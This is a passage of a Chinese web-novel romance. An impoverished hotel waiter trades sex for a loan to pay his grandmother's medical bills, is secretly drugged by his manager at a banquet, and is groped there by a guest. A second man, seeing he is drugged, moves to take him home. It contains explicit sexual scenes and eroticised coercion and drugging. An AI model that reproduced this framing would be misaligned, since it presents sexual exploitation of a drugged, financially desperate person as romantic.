苏堂玉拽了他一把,不由分说地将人按到身前,见白荔慌张失措而下意识想要挣扎,他眼里才闪过一丝趣味,“你说我要什么?”
一瞬间近距离的拉进,鼻息之间充斥着双方的气息。
白荔才放下的,以为不会再触碰对方的心,忽然间在胸腔里狂跳不止,震得苏堂玉也朝他胸口望了过来,笑道,“这是你的职业操守?还是人设?”
男人很容易高兴,又很容易生气。
白荔分不清自己说什么男人才会觉得高兴,干脆不说话,只是低垂着眉眼轻轻摇了摇脑袋,不说什么反驳的话。
好在,男人这会儿高兴,并不说什么重话,只是手指勾了勾他的衣服下摆,不知是不是嫌弃,还是别的。
白荔不好意思,他知道自己的衣服破旧,和男人身上的衬衫叠在一起,更显得陈旧。
衣服触碰到肚子有点痒,白荔不敢抬头,想说点什么又觉得什么都不合适。
他伸手小心握住男人的手指,白荔感觉到自己的手心冒了点汗,或许男人会觉得恶心。
只是牵手的后一秒,来不及多想,苏堂玉的吻便袭了上来。
男人没有他想象之中的嫌恶,倒不如说,好像有点着急。
“洗了澡来的?真上道。”
白荔没来得及点头回答,就被人按在沙发上。
男人在耳边的说话声和远距离相比,听起来更加低沉,传进耳朵里,是一片酥麻的温热。
白荔缩了缩脖子,躲闪不及。
世界上没有免费的午餐,白荔深知这个道理。
好歹也工作了好几年,他见惯了人的脸色,自知自己没有什么资本跟苏堂玉做交换,但对方明显对他的身体还算满意。
男人的手指在触碰到他衣服的时候,稍微停滞了两秒。
白荔疑惑他为何突然停止,是不是自己太高估自己,叫男人厌烦了。
才感觉到男人往他身上扔了件衣服,眼前黑了下来,那件衣服遮住了他的身体,也遮住了他的视线。
“既然是来要钱的,就别带着伤来,倒胃口。”
白荔想起那天晚上,来要钱的叔叔将自己围起来揍了一顿,身上的伤大约还是没好全的。
青一块紫一块,自然是不太好看。
白荔陷进沙发里,小声道歉,“对不起……”
“苏先生。”
白荔叫他。
“苏先生,可不可以轻一……唔。”
“闭嘴。”
苏堂玉皱眉,手指隔着衣服捂住了他喋喋不休的嘴,哑声道,“再吵就把你嘴巴缝起来。”
8. 叫吧
好像过了很久。
拉紧的窗帘也看不见外面是黑是白。
白荔听到苏堂玉的呼吸变重,像窗外落了雨,而他的脸上和身体被水溅湿。
紧接着衣服牢牢裹紧身上的水,封闭的,如同上次一样,全部留在他的身上。
白荔才知道,这是男人的恶趣味。
白荔意识涣散之际,听到男人笑他,大约是说他没半点体力,还敢出来做这种事情之类的。
之后的话,白荔听不清了,大约也不是什么好话,白荔也不想听。
他想醒过来去上班,去医院找奶奶。
可是疲惫让他的手脚像掺了铅一般沉重,许久没有如此渴望进入梦乡,白荔的眼皮不停挣扎,还是在不久之后沉沉睡去,彻底失去了意识。
又似乎睡了很久很久。
白荔是被弄醒的。
他以为自己又和从前一样,只睡了五分钟又醒过来。
卧室里漆黑一片,有细微的窸窣声传来,分辨不出现在是几时几点。
他陷进酒店柔软得过分的床铺里,咬着自己手臂呜呜叫停。
这回,苏堂玉没有叫他闭嘴,而是满意地仔细听着,带着笑意问,“你说外面的人能不能听见你叫?”
白荔将头埋进自己的臂弯,小声祈祷希望没有人发现他无耻的秘密。
但苏堂玉显然没有那么好心地放过他。
“我猜可以。”
白荔捂住自己滚烫到发疼的耳朵,试图抵消男人在耳边传来的不怀好意的打趣。
他带着哭腔,闷闷道,“不要。”
随后,又被男人拽住了双手按在后腰。
一场仿若无休无止的战争。
白荔倦到分不清白天和黑夜,只是醒来时,酒店房间的窗帘已经被彻底拉开。
今天的阳光一如既然地好,从酒店的玻璃窗外照射进来,刺得人眼前白花花一片。
白荔闭上眼睛,脑子懵了两秒,听见床边传来轻响。
他翻身看去,男人此时正背对着他系着颈间的领带,皮带反而松垮地搭在窄腰间。
明明没有什么,猿臂蜂腰的模样却有些放荡。
白荔想起什么来,偏又在这时,男人侧过脸来,致使他想要装睡也不能够。
“醒了就起来。”
白荔颤动的睫毛没能逃过苏堂玉的眼睛一秒,他缓缓从床上坐起,跟苏堂玉打招呼,“苏先生,早上好。”
他的声音哑哑的,不再清丽,像小沙石落入细流里,轻而糙糙。
苏堂玉倒是瞧着一脸的神清气爽,心情看起来不错,还对他多说了两句,“我有事要先走,房间有人会来退,随便你待到什么时候。”
“我也……我也走。”
白荔不想让别人知道自己昨晚待在这里,就算是不认识的人也让他觉得不自在。
他赶忙掀开被子下床,又见苏堂玉的视线落在自己的腿上,于是又悻悻地绷紧脚尖缩回被窝里。
“苏先生,您就要走了吗?”
苏堂玉拿起外套,这会儿还算有点耐心,问,“怎么?”
“钱,你怎么把钱给我呢……”白荔坐起来,微微朝他倾身,“昨晚说好,借十万块钱,您应该不会忘了吧。”
“账号。”
男人难得心情好,没再说什么挖苦人的难听话。
白荔闻言,直起身子要去床头找来纸笔。
被子滑落,露出落满深深浅浅印记的脊背,因着他皮肤白皙,而更加显眼。
苏堂玉虚眯起眼睛,欣赏着自己的杰作,等看够了,才道,“直接报过来。”
“啊,哦,”白荔为自己没有转过来的头脑感到脸红,连忙将自己的卡号报给对方,“88463xxxx……”
“之后会有人打给你。”
“先生,”眼见着苏堂玉要走,白荔有些着急,“那我写了借条,要怎么转交给您呢?”
苏堂玉似乎对他如此执着的还钱方式弄懵了,对于白荔这种态度,而打上了虚伪的标签。
因此,他产生了厌恶的情绪,“确实,你一晚也不值十万。”
虽然这是事实,但男人的态度恶劣,显然很容易让人伤心。
白荔不知道自己做错了什么,又惹得对方不快。
而他确实在短期时间内,也无法拿出任何像样的钱来。
苏堂玉离开了房间,最后也没有告诉他任何还钱的方式。
白荔才知道,苏堂玉并不把那二十万块钱放在眼里,只是拿钱来和自己换做一夜的交易,也从来没有指望能从自己的手里要回去。
是两次彻头彻尾的,见不得人的情事。
白荔穿上衣服,坐着电梯逃也似的离开那个顶级豪华的酒店。
不久之后,他的卡里就多了一笔十万块的余额。
白荔顾不得多愁善感,什么不愿被人折辱的傲骨,他带着好不容易得来的钱直奔医院。
结清了住院费,办了转院手续,十万块钱拿到手里,很快又同上次一样,转眼间就没剩多少了。
他暂时同林淼请了几天的假,也推掉了其余几个做兼职的零散工作。
奶奶转院后身体还没稳定,他不敢到处乱跑,也没有闲心去做别的事情。
只留在医院里照顾奶奶,却也多的是胡思乱想,噩梦连连的时候。
每次在睡梦中惊颤着醒来,他总是满头大汗,跑到病房门外探望,看到护士们淡定地巡查病房,奶奶的身体指征平稳,他才浅浅地松了口气。
被汗湿的衣裳冷冰冰地套在身体上,在六月底的天也冒出寒意。
*
事实证明,转到上级医院确实更好,奶奶经过又一轮的手术,虽说不能同从前比,但也度过了难关。
白荔请假的这段时间里,被允许进入病房探视时,总是安安静静地坐在奶奶身边。
从前为了赚钱,也怕惊扰奶奶休息,他并没有留在病房太多时间。
这回,他可以好好陪陪奶奶了。
那几天的独处,也似乎给奶奶带来了温暖和希望。
白荔能时常看见奶奶的手指轻微动弹的动作,虽不见醒来,但身体能有反应,已经是莫大的欣慰。
那几天,不爱哭的白荔总躲在医院的走廊偷偷哭,怕奶奶知道,他连红着鼻子的时候都不敢进病房去。
住在医院的那几天,白荔中间抽空回了一趟出租屋拿换洗的衣服和洗漱用品。
房门紧闭,没有被破坏过的痕迹。
不过他留了个心眼,发现夜半还是会有人来守着,似乎是不找到他就不肯罢休。
白荔自知这里不能再住下去,这个月的房租又快要到期。
房东大叔准时准点地来讨要房租,白荔推了两天,把自己的几件衣服和吃饭的家伙搬了出来。
衣服可以藏在酒店他自用的柜子里,但是锅碗瓢盆那些,就不太能够放得下了。
这事儿不知怎么的,被林淼知道了,于是那天下午,她喜气洋洋地找了过来。
“听说你把衣服往酒店柜子里搬,要搬家了吗?”
白荔还以为她是来劝说自己不要这样做的,顿时一顿惊慌,“不好意思林姐,我下午就搬出去。”
见白荔小脸煞白,林淼摆了摆手,笑道,“你以为我要批评你啊?不是的。”
林淼道,“我家里还空了一个房间,可以短期借给你用。”
白荔第一反应虽是高兴,但怕追债人的又找过来连累林淼,他想了想还是拒绝了。
“谢谢你啊林姐,我一个男的,住在你那好像也不太方便,我皮糙肉厚的,就是住桥洞也没事的。”白荔笑着拍拍胸脯,“这两天我会找到房子的,就不麻烦你了。”
“哎哟,这么替我着想,其实没事的,我们小区一梯一户,没有人能看见讲什么闲话。”
林淼叫他好好考虑,是出于人道主义的帮助一段时间,所以也不收房租。
“我先走了,这几天你好好上班,过两天总部的领导要过来在我们这边定了一场宴会,顺便来视察。”
林淼提前给白荔透露了消息,瞧见他消瘦下去的脸,她真是心疼地捏了捏,“多吃点,争取长点肉就更漂亮了,到时候你们迎宾的,指不定要调过去充场面的,好好干。”
总部的人要过来,到时候也许请不了假了。
白荔点点头,只盘算着这两天快点找到新住处,或许到时候奶奶也可以出院呢。
想到这里,他脸上露出了笑容来。
一切都在往好的方向发展,也许,也许很快就能好起来了。
白荔下班后就去了附近街道办,那边有专门腾出来让人贴出租招聘的通示栏,白荔站在那里,把符合自己找租条件的联系方式都记录了下来。
他一个一个电话打过去,腾出时间约人看房,最后定了一间位置很隐蔽,也比上一家更便宜的房子。
一条不算短的巷子,小汽车开进去,要在很远的地方才能找到一个合适的位置掉头。
但是它一个月只要三百块,房子破破烂烂,连廉价的瓷砖都没有铺。
不过好在,收拾收拾还算干净,也能住人,只要不漏雨,就不会有太大的问题。
房主是个很温柔的奶奶,这里是她和老伴年轻时的新房,很有年代感的房子,墙上还挂着他们的结婚照,很温馨。
要是奶奶出院了,应该也会喜欢这里。
白荔一面对自己顺利找到家而感到安心,又怕追债的人会太快找过来,而感到惴惴不安。
回绝了房东大叔的续租邀请,他搬进了房东奶奶的小房子里。
白荔在那几天悄悄摸摸地把旧房子的东西搬空,有一次差点被追债的人发现,好在他机灵,躲过一劫。
其余不重要的东西,他也不敢再搬了。
一个星期过去,奶奶身体恢复的程度停滞不前,但没有恶化就已经是最好的消息。
从苏堂玉那里得到的钱,扣除接下来的医药费,已经所剩无几了。
不过目前没有倒欠医院,是很好的事情。
白荔预支不了工资,但兼职的散工是日结。
加上他每天都在酒店的餐厅吃饭,所以每天都还有点余钱能存下来。
这实在是太太好的兆头,让人心花怒放。
许久没有过这么高兴的时候,白荔的好心情写在脸上。
倒叫见不得人好的,开口来胡搅蛮缠了几句。
“白荔,最近是又发了?那嘴角是又要挂到天上去了。”
是上次借
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钱给他的那位同事,爱说人小话的,也爱当面说人坏话,叫王林。
白荔听惯了他的挖苦,面对人的不善意的调侃,只当充耳不闻。
白荔的不理会,总是是叫他在这么多人面前失了面子,他立刻拉下脸来,将之前不怀好意的神色掩藏,露出可耻的鄙夷神色。
忽的,他像是找到了能捉住白荔痛脚的点,双目放光如同咬人的疯狗,拽住白荔问,“你脖子上那是什么?工作制服都遮不住,没听说过你有这么猛的女朋友啊。”
他得意洋洋地开口,面上有止不住的精光闪过,一下子的畅快淋漓,叫他原本就丑陋的脸更加扭曲。
白荔下意识地捂住了自己的后颈,想起苏堂玉的犬齿随意地在他皮肤留下痕迹,他明明已经很小心地遮掩了。
白荔甩开他钳制住自己的手,“请你自重,我们只是同事,请你不要总是打听别人的私生活。”
被人驳了面子总是不爽,他更是变本加厉,声音大得不断吸引来别人的目光。
原本他只是想像往常一样调侃两句,舒了自己的心,没曾想白荔竟然这样说他。
“我自重?你自己不要脸还不让人说了?看看你自己长什么样子,天生就是一张只适合朝男人撅起屁股的脸,诶你不会是女的吧?”
他重新拽住白荔,说话间已经露出猥琐的笑意,开始编造大家愿意听信的谎言,“还是说你其实对女人就是不行?那就难怪了,我好像看见你天天从豪车上下来,是被人包养了吗?”
白荔遇到过许多人,但还是第一次被造这种谣言,一时语塞,“你疯了吗?”
今天是总部苏总亲自过来视察的日子。
加之今晚苏总在最高层宴会厅举办晚宴,大家十分重视,早两天就开始布置宴会厅,不敢有丝毫的怠慢。
现在大家都有事情要做,这会儿是部门刚开完小会,要集中去顶楼做好各自岗位事情的时候。
人流量最多,什么话都被分布得很广。
白荔被人污蔑得脸色青白,他到底不是能说会道的人,气得双手发抖,一开口,音都要颤了,“你为什么污蔑人?”
白荔的窘境大家是有目共睹的,平日里别说豪车,就连坐公交车的钱都要省。
有些人看不下去,笑道,“喂,王林,你别闹了,怕不是嫉妒人白荔长得好看就嫉妒人家吧。”
“就是啊王林,别这样,干嘛好端端为难人家呢。”
好人开口替白荔讲两句,多的是看好戏,拿这些谣言当饭后谈资的。
大家哈哈笑了两句,气得王林更是抓狂,“你们凭什么说我污蔑人?你们凭什么说我污蔑人!就因为白荔这张脸,你们就全站他那边吗?”
有人还要说话,但见经理和管理朝这边走来,一下全都推推搡搡地散了,手上有着活计,耳朵却个个竖得跟天线似的。
白荔瞧见李树明来了,原是也想走,可还没完全转过身,又被人叫了住。
“搞什么这么吵!不知道今天是什么日子吗?白荔,王林,一会儿来我办公室。”
白荔如果有十分讨厌王林,那对于李树明,则是有一百分的讨厌。
他抬眸,不知道要怎么拒绝对方才好,站在李树明身后的林淼已经给他使起了眼色。
有了林淼的提醒,白荔放心了不少。
加之今天安排了他站在顶楼宴会厅的迎宾岗,想来是万万不能少那一个人的。
李树明就算有一万个胆子,也不会选在今天来骚扰他。
白荔和王林两个人跟着李树明往办公室走。
白荔垫后,瞧见林淼悄悄跟了上来站在门口跟他比了个OK的手势,他顿时安下心来,给她回了一个。
关上门后,对话要比白荔想象中的简单许多。
无非是李树明作为经理,要对在今天惹是生非的员工进行口头上的批评教育。
幸而刚才的场面没有被总司的领导看到,不然就不是责骂,而是要扣工资的事儿了。
“行了,出去吧,以后注意点,要是再有下次违反规章制度的无意义争吵,你们就都给我滚蛋。”
两人低着头挨骂,这会儿正要赶紧逃离经理办公室,又听见男人道,“王林先去干活,白荔留一下。”
王林同他擦身而过,翻了个白眼,紧接着办公室的门被他紧紧带上。
白荔的耳根一麻,假装淡定地转过身去,“经理,还有什么事情?”
“你这么怕我做什么?我又不会吃了你。”
李树明笑眯眯地看着他,“刚才的事情我也知道不是你的错。”
他提起茶壶给给自己倒了一杯茶,也给白荔倒了一杯,“我想了想,上次换衣间的事情更是我的错,酒后对你做了点失格的事,时间久了,我反而有点愧疚,这杯茶就算我的赔罪,你喝了就出去工作吧。”
男人上次还出言侮辱他,白荔不信他能在段时间内知错。
但现在他更不想在这个紧闭的空间里和李树明独处,于是端起茶杯一饮而尽,草草了事。
“经理,我去干活了。”
白荔快速逃离这里,等出去看见林淼着急的神情,他也大舒了口气。
“没事,林姐,”白荔笑,藏在身后的手还抖着,“他还跟我道歉呢。”
9. 熟透了
“诶,知道吗?我刚才又看见白荔从经理的办公室里出来,那脸红通通的,说没有发生点什么,谁信啊。”
“哈,”闻言,洗手台前,同样穿着服侍生衣服的男人发出鄙夷的怪声来,“怪不得经理总偏心他,原来是卖屁股的,那就不奇怪了。”
“嘘嘘,小心给人听见。走了走了,今天顶层宴会厅被包下来,人手不够又要了就麻烦了。”
“听说了,总司的苏总也要来,经理重视得很……”
随着说话声走远,苏堂玉恰好从隔间里出来。
水龙头下的水柱哗哗往下流,翻出浪白的水花。
他洗着手,听见从另一个隔间出来的郑星纬笑,“哇哇,苏堂玉,一来就听到你们酒店员工这么劲爆的消息,请问你作何感想啊?”
“……”
苏堂玉似乎对此并不感兴趣,又似乎没听到方才的员工小话,凤眸冷淡到毫无波动。
他自顾擦干手指,将揉成团纸巾扔进一旁的垃圾桶里,从洗手间出去。
郑星纬见状,仿佛没有瞧见他脸上的冷淡,依旧嬉皮笑脸地跟上前去,“诶,等等我啊,走那么快干什么?”
*
好热……
员工换衣间里,白荔扯了扯束缚住自己脖颈的领结,紧绷的腰身传出怪异难耐的燥热来。
刚才从经理那喝了那杯茶后,就开始不对劲,好累。
夏天本来就热,加上今天跑上跑下的,还跟王林吵了一架心里憋了气,或许是这样中暑了也说不定。
他不该喝那杯热茶水的,越喝越难受。
家里又没解暑的药,还得花钱买。
不对,还是忍一忍吧,说不定等会儿就好了呢……
“白荔!快点快点,一会儿苏总就要来了,我先上去,你赶紧跟上。”
“知道了林姐!我马上就来。”
林淼见白荔半天不出来,便站在换衣间外提醒了一句,“没事吧?是哪里不舒服吗?”
“没事的,我换完衣服就上去。”
白荔深吸了口气,拿过衣服往外探去。
大家都去工作了,走廊上也没有人。
他顾不得那么多,强忍着身体的不适,一边系着腰间的扣子,一边往电梯间跑去。
听说今天宴会总部的领导也会来,大家都挺紧张的,白荔也不例外。
他怕一个不小心得罪了哪位大人物,自己这份工作就保不住了。
他如今的生活费,还有奶奶的医药费,这份工作可占了大头,要是丢了,可就难办了。
白荔低头,匆匆忙忙系着扣子往楼上去,腰间的扣子倒像是在关键时刻同他作对,怎么也不好扣上。
甫一没注意,就一头撞到人。
“对不起对不起!”
额头传来的疼痛让人晕头转向。
白荔赶忙道歉,他的头没抬起,视线先落在了跟前踩在地上的那双,一瞧就高档的男士皮鞋上。
糟糕的是,那双鞋子上还留着自己的一点鞋印子,灰白的一点在黑色的鞋面上,突兀的让人浑身冒汗。
他顿时脸色一白,说话都带着哆嗦,“不好意思先生、不好意思!”
白荔说话间,几乎是下意识地半跪下来,赶忙用袖口帮男人的鞋面清理干净,“对不起先生对不起,我方才走得太急,才不小心冲撞到了您。”
好糟糕的一天。
今天来这里参加宴会的人都非富即贵,白荔不是没过过好日子,男人脚上那双定制的高档手工皮鞋,一看就是出自费利克斯的手,他实在是赔不起。
白荔感觉自己的头有点晕,就以那样的姿势坐在地上缓和了一下模糊的脑袋。
他垂着头,露出一截纤长柔白的后颈,清瘦的身体微微伏下去,背部将合身的制服撑开。
他原本没扣好的灰色马甲在胸口散开,衬衫也被他扯得有些乱。
因为伏下身去,所以细致凹陷的锁骨在领子下隐隐显现。
苏堂玉站在那儿睨下眼皮,能看见跪在脚边的服侍生细得夸张的腰,明明很纤细,偏偏他那样跪坐在那儿去,那抵在脚跟的臀尖被裤子紧裹着,又勾勒出一团极具肉感的浑圆。
看起来很软,又很放荡,容易让人想象出些东西,一看就是在他面前刻意摆出这样的姿态来。
这种老套的搭讪情节,在苏堂玉眼里简直让人无语到想发笑。
总有人往他床上送人。
但演都不演就敢塞过来的,这还是第一个。
他不耐地皱起眉,一声咋舌却吓得眼前人一抖。
苏堂玉从来没见过演技这般拙劣矫情的人,但见那男人颤颤巍巍地抬起头来。
一张很小又精致的脸,顶光落下来,让他的皮肤润着一层晶莹柔润的光,那双湿润的双眸带着潮湿的雾气,看过来时颤颤着仿佛马上就要哭了。
是青涩又含苞待放的模样,却泛着明媚的潮红。
“……”
苏堂玉愣了一下,没曾想那天过后,会以这种方式和对方见面。
那屁股和腰肢看来不是刻意凹出来的。
想到这里,他的目光不由恶劣地从白荔的唇上往下扫去,眼神直直掠过他胸口别着的晃晃悠悠的铭牌。
白荔。
看见他的名字,苏堂玉顿时沉下脸色。
“对、对不起先生,我……”
白荔再次道歉,可还没说完话,甚至没看清对方的脸,男人已经从他身侧走过。
被带起的风中有男士香水的味道,很浅很薄,木质调的松柏微里掺着很淡的茉莉香。
好熟悉。
还没等他想起是从哪里闻到过,男人皮鞋踩在地上的声响越来越远。
犹如在他胸腔擂动的鼓,渐渐的小了下来。
看来对方应该不会计较吧。
白荔恍然松了口气,回过劲来时手脚已经发软得没了力气。
“能起来吗?”
白荔听见有人在跟他说话。
他连忙扶着地起来,习惯性地低下头去,“是的,给您添麻烦了。”
还站在原地没跟苏堂玉离开的郑星纬,原只是保持着表面风度善个后,却在瞧见白荔的脸时,眉眼兴奋,“诶,是你。”
白荔这才疑惑抬头,没有在印象里能找到与之匹配的记忆。
直到郑星纬说,“大白,你忘了?大白是我的小狗。”
说起狗狗的名字,白荔才模糊想起那天晚上他逃避追债人时遇到的那位遛狗的先生。
面对这种情况,白荔更加无处躲藏。
“是先生您、您好。”
“想起我了,太好了!”
郑星纬见白荔的脸色不太好看,还以为他是在为刚才的事情烦忧,便安慰他道,“放心放心,那位少爷就是那副性子,没事的。”
郑星纬在这时看到他胸口的铭牌,联想到刚才在洗手间听到的八卦,疑心道,“你叫白荔?”
“是。”
白荔没过多地去打量客人的神情,抬头之后便很快垂下了眼眸,“真的不好意思。”
郑星纬迟疑,想了会,看见白荔的脸,还是没说什么。
……
白荔没想到今天竟会出这么多纰漏。
不仅冲撞了贵客,宴会厅那边也迟到了一会儿。
总司的人已经来了,门口的迎宾位却还差了一个人,只能找人先替了。
不知道白荔那边是什么情况。
林淼在那边急得团团转,差点没坐电梯下去亲自把白荔接上来。
就在她急得焦头烂额之时,白荔终于从拐角出现。
“发生什么事了?”
他看起来不太好,虽然衣衫齐整,但脸上的难受依旧遮掩不住。
林淼上前扶了他一把,也遮掩掉了旁人的目光。
“有点不舒服,现在好些了。”
白荔哑声说话,刚才去冲了把脸好了一些,只是唇舌之间还是觉得燥热。
呼吸之间还能感受到口腔里冒出来的腾腾热气。
他跟着林淼往边上走,满怀歉意,“林姐,领导来了吗?”
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“早你一步过来了,先找人顶替了你的位置,你现在就进去顶掉里面的服侍生的位置就好。”
“好。”
“真的没事吧?”林淼不放心,又问了一遍,“不然你先回去休息,我再找人过来就好。”
原定的什么人做什么,早早就安排好了。
现在要是重新再凑个人出来稍微有点麻烦。
白荔觉得自己好了些,不想再给林淼增添负担,而且临时脱离岗位算是旷工,他不想被扣工资。
“林姐,放心吧。”他道,“我可以的。”
宴会开始,推杯换盏。
白荔端着杯托穿梭于名流之中。
宴会厅里的冷气适中,白荔稍微感到舒服。
还以为自己好了,没曾想宴会后半段,小腹猛然窜起灼烫,让他差点伏下身去。
托盘里放置的香槟浮动,酒色摇晃。
白荔的视线开始重影。
有人来端他手里的酒,手指强有目的性地往他的腰间搂来。
令人不舒适的酥麻感在被人碰到的那一刻无限放大,白荔小小地闷哼出声,腿软着差点往那人身边倒。
“小美人,一副想要的样子是在勾引谁呢?”
耳边响起中年男人贴近的耳语,听得白荔汗毛倒竖。
他浑身激颤,在这个稍稍隐秘的角落,好像无人发现。
“下班来找我。”
男人从口袋里拿出一张名片,伸手要往白荔的胸口里塞。
恰好这时,郑星纬经过。
宴会开始,他的目光便一直在寻找白荔的身影,可惜才看到,就发现白荔被那个玩得最花的王总盯上了。
美人落难,他自然是要英雄救美一把。
“王总,今儿你也在啊。”
郑星纬笑着穿插进二人中间,极其自然地将两人隔开,“这是什么,您的名片?您太客气了,我都收了您好多张了。”
白荔躲在郑星纬的身后,听见二人的对话,更是心跳得厉害。
怕自己出错,会捅出更大的篓子,他缩在那里不敢言语。
而身体传来的猛烈的热浪,逼得他摇摇欲坠,眼尾通红。
白荔缩在郑星纬的身后,不敢将自己的身体露出一点来。
尝了人事,他逐渐明白自己现在的反应代表什么。
不是发热,不是生病。
是,那种想要。
“郑星纬。”
忽的,身前传来熟悉的男声,取代了王总油腻的声音。
白荔闻声,忍不住抬起头来去看。
透过郑星纬的背影,他看见了有段时间没见过面的苏堂玉。
忽然之间,他的心跳动得更快了,全身的血液似乎都往一个地方涌去。
白荔不知自己是怎么想的。
唯独看见苏堂玉,他的身体就有些控制不住自己,忍了许久,理智还是马上就要崩塌。
他抬起眸子,偷偷地望了苏堂玉一眼。
就在这时,男人像是福至心灵,狭长的凤眸轻睨而来。
像是那几夜,许多次许多次,男人都用这种眼神看着他。
白荔抖了抖,再也控制不住,角落里,他涨红着小脸直勾勾透过郑星纬看向苏堂玉。
他双颊绯红,咬着唇,是一副泫然欲泣的水色。
“苏先生……”
他小声地张口叫人,喊得轻轻的,似乎只是在自言自语。
可偏偏又那样看着人说话,透粉的手指试图拽着衣服下摆往下扯,遮住自己不知羞耻的样子。
又似乎在提醒苏堂玉,自己这副样子,是完全熟透了。
站在中间的郑星纬疑惑苏堂玉怎么叫他却不说话,正觉没趣要转身去找白荔,下一秒却被人狠撞了一下肩膀。
郑星纬捂着肩膀,还没说话,就看见苏堂玉的手捂住了白荔的脸,将人遮得严严实实。
“操。”
“你真是疯了,竟然在这里发情。”
苏堂玉紧咬着槽牙,笑道,“真有本事,勾得我也疯了。”
10. 上钩
白荔被苏堂玉推到了宴会厅最角落里待着。
脑袋上盖着的,是苏堂玉叫人从车里拿出来的外套。
白荔的视线被男人的外套遮掩包裹,几乎看不见外头的场景。
眼前的黑暗将他的嗅觉和听觉放大,整个狭小的空间里,他只能闻到外套上残留的苏堂玉的味道。
很淡的木质调香水,和带着他体温的香味,闷得人脑海里总是出现他的样子,无法思考更多。
不知道宴会什么时候才结束,不知道什么时候才能离开这里。
白荔的手指抓紧手臂,想起苏堂玉看向自己的眼神,蜷缩在他衣服里的身体变得更加灼热难当。
好热。
好难受。
白荔的口腔呼出一片热气,手不自觉地想向下伸去,又被理智牵扯,忍住的手用力陷进衣服里,抓疼了才觉得清醒。
还在外面,不可以躲藏在这里,做出这种不知羞耻的事情。
白荔闭上的眼睛,又睁开,额头层层冒出汗来。
他埋在苏堂玉的衣服里,笼罩着的热气,汗湿了他的衬衣。
耳边酒杯轻微碰撞传出脆响,人们的说话声和脚步声交杂在一起,在轻柔而缓慢的小提琴声中变得刺耳。
一切声音听在白荔的耳朵里,都变成了一种绝望的刺激。
他心里念着数字,希望时间能快点在他的默数声中逝去,只是时间一分一秒流逝,却又像是被无限拉长。
白荔浑浑噩噩地缩坐在地毯上,涨痛的小腹,发麻的手脚,对他来说无一不是折磨。
他一边祈祷希望不要有人发现他,一边希望苏堂玉快点过来把他带走,不要留他一个人在这里提心吊胆。
白荔松开紧咬的双唇,实在受不了药物带来的折磨,不自觉地张口咬住了自己的手指,企图用指尖的疼痛转移自己的注意力。
须臾,他听到有人靠近的声音。
是男士皮鞋踩在地板上的闷响,一步一步,越靠越近,目标清晰,是往自己这边走来。
是苏先生。
是宴会结束了,要离开了吗?
白荔不敢乱动,怕招惹到男人让他生气。
男人的脾气并不算好,万一生气了,肯定就不愿意带自己走了。
随着脚步声越靠越近,白荔反而觉得轻松了一些。
他迷迷糊糊将垂下的脑袋抬起,衣服里什么都看不见,让他有些害怕。
直到盖在头上的衣服被掀开,光线进来的那一刻,模糊了他的视线。
白荔一时没将眼前的人看清,他微张着双唇,泫然欲泣地看着眼前男人模糊的身影,有些迷糊的目光呆呆地落在男人身上,“先生……我有听话,有乖乖地等你过来。”
“额……”
郑星纬本是来看看苏堂玉到底在搞什么鬼,没想到这衣服底下竟然藏了个人。
嘶……真是不妙。
这一看就不对劲,很明显是被下了药,又不是什么动物,在这种场合下说发情就发情了。
郑星纬双眸眯起,看着眼前双颊绯红,冒着蓬松热气的白荔,他不自觉喉结滚动。
听白荔刚才失了智说的话,应该是在等苏堂玉过来。
那个苏堂玉,什么时候竟然也会跟人扯上这种不清不楚的关系,真是稀奇。
可惜了,他还没下手,竟然已经被苏堂玉吃上了。
不过没关系,他也不是在意什么处不处的人,只要好吃就行了。
他也好久没干那档子事儿了,遇到一个心仪的人不容易,郑星纬弯腰,笑着要将人抱起,“白荔,我带你走,好不好?”
他第一次询问人这样的事情,青年坐在角落里,目光不是很清晰,望过来的眼神呆呆的,似乎在分辨他是谁,微微歪着脑袋的样子很是可爱。
郑星纬的良心忽的被谴责了一下,继而爱欲的心又狂跳不止。
他又不是什么正人君子,只是个普通的有欲望的男人,被人用那种眼神看着哪里受得了。
郑星纬收敛神色,忽然升起某种责任感来,“我对你负责,以后你跟我,我不会让你吃苦的。”
白荔好似听不进去什么,他本来就在等人来接自己走,这会儿男人过来,他的警惕心放心了不少,只是单单搂抱着苏堂玉的衣服不作声。
倒是郑星纬弯腰来抱的时候,白荔还有点不好意思和奇怪,奇怪今晚的苏先生为什么突然这么温柔,一点也不像他。
又奇怪苏先生怎么突然之间换了香水,不是冷冷的木质调香味,是有一些甜腻清爽的青柑味。
虽然这些印象里的东西都变了,但那个身形好像也没有差得太多。
他不敢在这会儿质疑苏堂玉,脑子又烧得迷迷糊糊的,只哼哼唧唧地发出几个语气词,才想催促着男人快点走。
他张口,还没攀上男人朝他伸出的臂膀,下一秒又听见苏堂玉的声音从前方传来,“干什么?”
白荔疑惑苏堂玉为何这样,一会儿温柔一会儿冷冰,不过这才像平日里的他。
白荔伸出的手立刻缩回了袖子里,才敢抬起眸子认真打量对方,却在意识到自己面前站了两个苏堂玉时大吃了一惊。
怎么有两个苏先生?
他涨红的小脸在两人的注视下抱紧了怀里的衣服,才在恢复瞬间明晰的那一刻无地自容。
他认错人了。
刚才在自己面前站着的那位竟然不是苏堂玉,怪不得,总觉得哪里不一样。
白荔现在本就不太理智,现在认清真相,脑子里更是烧成一团浆糊。
一种被第二个人发现自己卑劣行径的羞耻感,从脚底直升到头顶,郑星纬会怎么想他呢?
“看来这是要做上了。”
“我搅了你们的好事?”
苏堂玉的目光,从白荔的脚尖往上扫,在看到他双眸颤动地望过来时,才扬起唇角,不冷不热地没了情绪。
白荔闻言,立刻看向郑星纬,后者的脸上却看不出什么来。
怕人会多想,他嫣红的唇紧抿着瘪了瘪,有些难堪地摇头。
就这么僵持了两秒钟,苏堂玉并未在原地停留,像是不愿浪费时间,他扯过白荔遮掩身体的衣服,便转身离开。
包裹着身体的外套被抽走,宴会厅里的冷气立刻侵袭而来,让他发汗而冒着热气的身体止不住地发颤。
白荔感觉自己仿佛是个变态,身上的衣服也不知什么时候被自己弄湿。
或许刚刚被苏堂玉抽走的外套,也被他弄脏了。
白荔不敢在原地停留,即使现在宴会厅的人已经走得差不多了,可还是会有人的目光往这边袭来。
白荔朝郑星纬鞠了一躬,便赶忙往苏堂玉消失的大门跑去。
郑星纬见白荔二话不说地追着苏堂玉跑,顿时觉得越发有趣,“怎么回事,这是在谈吗?那个苏堂玉,谈恋爱了?”
现在的白荔不能以这副样子做收尾的工作,只和林淼发了一条消息说自己要暂时离岗,便晕晕乎乎地跑去找苏堂玉。
一路上有不少人望过来,他甚至在跑出宴会厅时,看见李树明在离电梯口的不远处出现。
